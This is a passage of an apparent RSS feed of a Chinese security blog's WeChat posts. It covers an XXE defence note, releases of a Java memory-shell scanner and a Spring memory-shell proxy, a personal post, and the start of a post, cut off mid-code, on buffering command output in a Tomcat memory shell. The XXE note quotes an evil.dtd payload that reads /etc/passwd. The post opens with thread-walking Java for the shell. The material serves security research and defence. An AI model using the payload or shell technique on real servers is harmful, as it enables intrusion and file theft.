class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">test123</span>&gt;</span>&amp;a;&amp;b;<span class="code-snippet__tag">&lt;/<span class="code-snippet__name">test123</span>&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">//123.dtd</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">!ENTITY</span>  <span class="code-snippet__attr">b</span> &#34;<span class="code-snippet__attr">123</span>&#34;&gt;</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">//evil.dtd</span></code><code><span class="code-snippet_outer"><span class="code-snippet__tag">&lt;<span class="code-snippet__name">!ENTITY</span>  <span class="code-snippet__attr">a</span> <span class="code-snippet__attr">SYSTEM</span> &#34;<span class="code-snippet__attr">file:</span>///<span class="code-snippet__attr">etc</span>/<span class="code-snippet__attr">passwd</span>&#34;&gt;</span></span></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.6341463414634146" data-s="300,640" style="" data-type="png" data-w="2952" src="https://wechat2rss.xlab.app/img-proxy/?k=17ba57c3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaMm4BdicNF5dESXN9bssXsWQGMtZhibmAicDlibPUzicgEYXGhOVBcGQSH9A%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.1949579831932773" data-s="300,640" style="" data-type="png" data-w="1190" src="https://wechat2rss.xlab.app/img-proxy/?k=e8068776&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr56Jo5lpDedO2kEaWiaU2uzaHJ6QfNn3jiak6rbltt5JJ4XdH97LepCdbSvbwQCBK1euaRdEWpC4KqA%2F640%3Fwx_fmt%3Dpng"/></p><p>正常的外部实体引用行为不会收到影响，而含有敏感操作的行为将会被拦截。<br/></p><p><span style="font-weight: bold;font-size: 20px;">后记</span></p><p>一篇零零碎碎的笔记，其实Xerces-J库本身就可以实现一大部分的XXE攻击防御，包括自带的SecurityManager也可以比较好的解决XML DOS的问题，但是若想从流量侧来进行防御又是完全不同的一码事了。</p><p>参考：</p><p><span style="text-decoration: underline;color: rgb(3, 102, 214);"><a href="https://xz.aliyun.com/t/7105" target="_blank">https://xz.aliyun.com/t/7105</a></span></p><p><a href="https://mp.weixin.qq.com/s/WiiLl2UMC6m6xs6eXw0_OQ" target="_blank">https://mp.weixin.qq.com/s/WiiLl2UMC6m6xs6eXw0_OQ</a></p><p>漏洞环境：</p><p><a href="https://github.com/c0ny1/xxe-lab" target="_blank">https://github.com/c0ny1/xxe-lab</a></p><p><span style="font-size: 16px;"></span></p><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483908">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1e81cb78&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483908%26idx%3D1%26sn%3D7c3eca330b316c6f35ea19dcce2ec777%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 14 Nov 2022 00:02:00 +0800</pubDate>
    </item>
    <item>
      <title>Tools Update 2022.10.09</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483880&amp;idx=1&amp;sn=f533bf094e9bede0033b8e7e3f7e9f15</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-10-09 18:00</span> <span style="display: inline-block;">中国香港</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=09365b6c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr6kdSg9dTJdpynFJLgytYFHqHFocVVXWOjicIjo1yqb5R2MnYNZHundic7Ixjw3r03Qib0fmeOEgiaktQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: start;"><span style="color:#000000;"><span style="caret-color: rgb(0, 0, 0);font-size: 18px;">前言</span></span></p><p style="text-align: start;"><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);">国庆写好了一直忘了发，最近研究spring没有啥研究成果，水一水工具。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;国庆写好了一直忘了发，最近没有啥研究成果。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;a8Yl-1665285265311&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U4pX-1665285265310&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ruDT-1665283836015&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;QHQP-1665283836012&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;java-memshell-scanner v0.1.3&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ENMH-1665283836200&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ntf1-1665283836199&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;f1Ts-1665283837411&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/bluE0a/java-memshell-scanner/releases/tag/v0.1.3&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CQG6-1665283837410&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/bluE0a/java-memshell-scanner/releases/tag/v0.1.3&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;hue7-1665283837412&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;7u7F-1665283855261&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;U2TF-1665283855260&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;新增spring相关内存马查杀逻辑。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;n66R-1665285166982&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HoN0-1665285166980&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;sfun-1665283855446&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Dosg-1665283855445&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;Chunk-proxy-ms&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;},{&#34;type&#34;:&#34;color&#34;,&#34;value&#34;:&#34;#24292f&#34;},{&#34;type&#34;:&#34;backgroundColor&#34;,&#34;value&#34;:&#34;rgb(255, 255, 255)&#34;},{&#34;type&#34;:&#34;fontFamily&#34;,&#34;value&#34;:&#34;Arial&#34;}]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;UBjy-1665284879594&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MzLV-1665284879593&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;N9oG-1665284939863&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://github.com/bluE0a/Chunk-proxy-ms&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;RWgh-1665284939862&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://github.com/bluE0a/Chunk-proxy-ms&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IhJt-1665284939864&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;KEho-1665285185945&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;rTyo-1665285185943&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;搞了个spring版的内存马代理(jsp/spel利用)。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}}]" style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;"><p><span style="font-weight: bold;color: rgb(36, 41, 47);background-color: rgb(255, 255, 255);font-family: Arial;">java-memshell-scanner v0.1.3</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://github.com/bluE0a/java-memshell-scanner/releases/tag/v0.1.3" target="_blank">https://github.com/bluE0a/java-memshell-scanner/releases/tag/v0.1.3</a></span></p><p>新增spring相关内存马查杀逻辑。</p><p><br/></p><p><span style="font-weight: bold;color: rgb(36, 41, 47);background-color: rgb(255, 255, 255);font-family: Arial;">Chunk-proxy-ms</span></p><p><span style="color: rgb(0, 56, 132);"><a href="https://github.com/bluE0a/Chunk-proxy-ms" target="_blank">https://github.com/bluE0a/Chunk-proxy-ms</a></span></p><p>新增spring版的内存马代理(jsp/spel利用)。</p><p><br/></p></article><p style="line-height: normal;margin-bottom: 8px;">部分测试环境/代码逻辑参考su18师傅:</p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;line-height: normal;margin-bottom: 8px;"><a href="https://github.com/su18/MemoryShell" target="_blank">https://github.com/su18/MemoryShell</a></p><p style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;white-space: normal;line-height: normal;margin-bottom: 8px;"><a href="https://github.com/su18/ysoserial" target="_blank">https://github.com/su18/ysoserial</a></p><p><br/></p>



<p><a href="2247483880">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=4be854f2&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483880%26idx%3D1%26sn%3Df533bf094e9bede0033b8e7e3f7e9f15%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Sun, 09 Oct 2022 18:00:00 +0800</pubDate>
    </item>
    <item>
      <title>java-memshell-scanner魔改</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483875&amp;idx=1&amp;sn=425d8ee52ab85dd5d46822e4610f0cf5</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-09-02 16:52</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=59698958&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7Km0wKratYs8oENQrwc3CaNmFuZf75pGs9JUQZxxVLw13Vd3E0v0S8rW4AMDDmHlUspNlsxiazGxA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p>其实之前就写好了，最近因为yq一直不知道在干啥。</p><p>Fork了一下c0ny1师傅的项目，<span style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: auto;text-align: start;text-indent: 0px;text-transform: none;widows: auto;word-spacing: 0px;-webkit-text-size-adjust: auto;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(36, 41, 47);color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;background-color: rgb(255, 255, 255);float: none;display: inline !important;">添加Connector与Ws内存马检测逻辑与kill逻辑。</span></p><p style="text-align: center;margin-bottom: 0em;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.562" data-s="300,640" style="width: 578px;height: 325px;" data-type="jpeg" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=13f490b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr7Km0wKratYs8oENQrwc3CaQfpUTxNiasvAztEChDia1JkJ3lIk56z0h7HkzlwO8Ez2re8NEwHuy8Pg%2F640%3Fwx_fmt%3Djpeg"/></p><p><br/></p><p><span style="caret-color: rgb(36, 41, 47);color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);">项目地址：</span><br/></p><p><span style="caret-color: rgb(36, 41, 47);color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><a href="https://github.com/bluE0a/java-memshell-scanner" target="_blank">https://github.com/bluE0a/java-memshell-scanner</a></span></p><p><span style="caret-color: rgb(36, 41, 47);color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, &#34;Segoe UI&#34;, Helvetica, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><br/></span></p>



<p><a href="2247483875">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a78947f8&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483875%26idx%3D1%26sn%3D425d8ee52ab85dd5d46822e4610f0cf5%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 02 Sep 2022 16:52:00 +0800</pubDate>
    </item>
    <item>
      <title>十几年前的某个下午，曾有位老人提着一篮鸡蛋在楼下叫我的名字。</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483870&amp;idx=1&amp;sn=440aefc6e9f07a3f0bc92c169209876f</link>
      <description>十几年前的某个下午，曾有位老人提着一篮鸡蛋在楼下叫我的名字。</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2022-08-25 18:03</span> <span style="display: inline-block;">北京</span>
</p>

<p>十几年前的某个下午，曾有位老人提着一篮鸡蛋在楼下叫我的名字。</p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=7ed86f9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr4G8MKJKrqL6azXGiaAvHdaPC3MDmckQJDdEAfTUctRv2AEJh3lOicWO3uibc8SdSt0bPzcMdzu9016w%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<div id="js_image_content" class="image_content "><!---->    <!----> <!----> <!----> <div class="wx_album_area js_album_wrap " style=""></div> <div class="rich_media_tool "><div class="rich_media_info weui-flex policy_tips js_ad_policy_tips tips_global_primary "><!----></div></div> </div>


<p><img src="https://mmbiz.qpic.cn/mmbiz_jpg/YOLztAD7Qr4G8MKJKrqL6azXGiaAvHdaPC3MDmckQJDdEAfTUctRv2AEJh3lOicWO3uibc8SdSt0bPzcMdzu9016w/0?wx_fmt=jpeg"/></p>




<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=acde112e&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg2MjgxOTc4MA%3D%3D%26mid%3D2247483870%26idx%3D1%26sn%3D440aefc6e9f07a3f0bc92c169209876f%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 25 Aug 2022 18:03:00 +0800</pubDate>
    </item>
    <item>
      <title>利用缓存buffer解决header回显size过大问题</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg2MjgxOTc4MA==&amp;mid=2247483867&amp;idx=1&amp;sn=a944b743cb54e20bd636650c4345ee10</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>深蓝</span> <span>2022-08-12 17:55</span> <span style="display: inline-block;">四川</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=92da444a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FYOLztAD7Qr4U5HsrsgLNMBmgoicnRzUUXx5mO4BqESVsbzX3viaJyEuLTP840ibe9blVUHchEfI8ncareT45IgibzQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><span style="font-size: 28px;font-weight: bold;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">前言</span></p><p><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">之前</span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">的内存</span><span style="caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);text-align: start;">马测试过程中曾出现回显字符串长度超过header头max-size的问题，本文算是做一个简单的解决方案。</span></p><article data-content="[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3060-1621846615933&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;p5PQ-1621846617594&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;前言&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XZ9P-1660294746031&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wIZn-1660294746029&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;之前的内存马测试过程中曾出现回显字符串长度超过header头max-size的问题，本文算是做一个简单的解决方案。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;RQkU-1660294747622&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h1&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5aAb-1660294747620&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;正文&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VFYm-1660294749418&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;EhIB-1660294749417&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;之前看了Y4tacker师傅的&#34;,&#34;marks&#34;:[]}]},{&#34;type&#34;:&#34;inline&#34;,&#34;id&#34;:&#34;bWkI-1660295078567&#34;,&#34;name&#34;:&#34;link&#34;,&#34;data&#34;:{&#34;href&#34;:&#34;https://y4tacker.github.io/2022/04/14/year/2022/4/&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WL3i-1660295078566&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;https://y4tacker.github.io/2022/04/14/year/2022/4/&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1i6Y-1660295078569&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;浅谈Shiro550受Tomcat-Header长度限制影响突破/#0x02-浅谈新思路，有想过通过Thread线程单独开辟buffer用于储存response，后发现可直接通过&#34;,&#34;marks&#34;:[]},{&#34;text&#34;:&#34;volatile&#34;,&#34;marks&#34;:[{&#34;type&#34;:&#34;bold&#34;}]},{&#34;text&#34;:&#34;类型实现（其实是没在线程里找到本应开辟的buffer～）。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Njvo-1660296611259&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;nvBW-1660296611258&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;概念&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;EQwz-1660295048213&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Mb6-1660295048212&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;volatile 是 Java 中的关键字，是一个变量修饰符，被用来修饰会被不同线程访问和修改的变量。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lwFB-1660295048382&#34;,&#34;name&#34;:&#34;heading&#34;,&#34;data&#34;:{&#34;level&#34;:&#34;h2&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PtMX-1660295048380&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;实现&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;mgfn-1660296727573&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ukvB-1660296727571&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;修改内存马中的逻辑，在get cmd的操作处增加一层逻辑用于判断当前是执行命令还是读取回显。&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YSko-1660296808365&#34;,&#34;name&#34;:&#34;paragraph&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bcyg-1660296808364&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;思路很简单，直接见代码：&#34;,&#34;marks&#34;:[]}]}],&#34;state&#34;:{}},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3yzM-1660296868272&#34;,&#34;name&#34;:&#34;code&#34;,&#34;data&#34;:{&#34;version&#34;:1,&#34;language&#34;:&#34;&#34;,&#34;theme&#34;:&#34;default&#34;},&#34;nodes&#34;:[{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;5p1P-1660296868154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;evVB-1660296868153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34; ......&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XkPE-1660296954516&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wD5z-1660296954514&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;tHhs-1660296947901&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;9fuu-1660296947899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;   public void getResponse(byte[] res) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YpC6-1660296945142&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5pHN-1660296945141&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        try {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oVg0-1660296945144&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;umsp-1660296945143&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), \&#34;threads\&#34;));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c3SY-1660296945146&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;511u-1660296945145&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Ttnj-1660296945148&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cZBm-1660296945147&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                            for (Thread thread : threads) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gw6U-1660296945150&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gSjU-1660296945149&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                if (thread != null) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;AbG1-1660296945152&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R6zs-1660296945151&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    String threadName = thread.getName();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Zf0Q-1660296945154&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3HJg-1660296945153&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                    if (!threadName.contains(\&#34;exec\&#34;) &amp;&amp; threadName.contains(\&#34;Acceptor\&#34;)) {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;MMte-1660296945156&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;koxc-1660296945155&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                                        Object target = getField(thread, 